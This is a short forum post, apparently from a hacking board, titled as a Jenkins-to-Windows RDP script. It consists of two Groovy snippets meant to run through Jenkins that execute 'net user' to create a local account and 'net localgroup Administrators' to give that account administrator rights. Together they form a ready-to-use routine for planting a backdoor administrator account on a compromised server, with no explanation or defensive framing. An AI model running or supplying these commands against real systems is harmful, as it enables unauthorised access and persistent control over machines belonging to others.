[Jenkins] Windows RDP Script (1 Viewer)

Joined
Jan 10, 2019
Credits
0
Rating - 0%
Code:
def command = """net user USER PASSWORT /add"""
def proc = command.execute()                 // Call *execute* on the string
proc.waitFor()                               // Wait for the command to finish

// Obtain status and output
println "return code: ${ proc.exitValue()}"
println "stderr: ${proc.err.text}"
println "stdout: ${proc.in.text}" // *out* from the external program

Code:
def command = """net localgroup Administrators USER /add"""
def proc = command.execute()                 // Call *execute* on the string
proc.waitFor()                               // Wait for the command to finish

// Obtain status and output
println "return code: ${ proc.exitValue()}"
println "stderr: ${proc.err.text}"
println "stdout: ${proc.in.text}" // *out* from the external program is *in* for groovy
 

Users who are viewing this thread

Top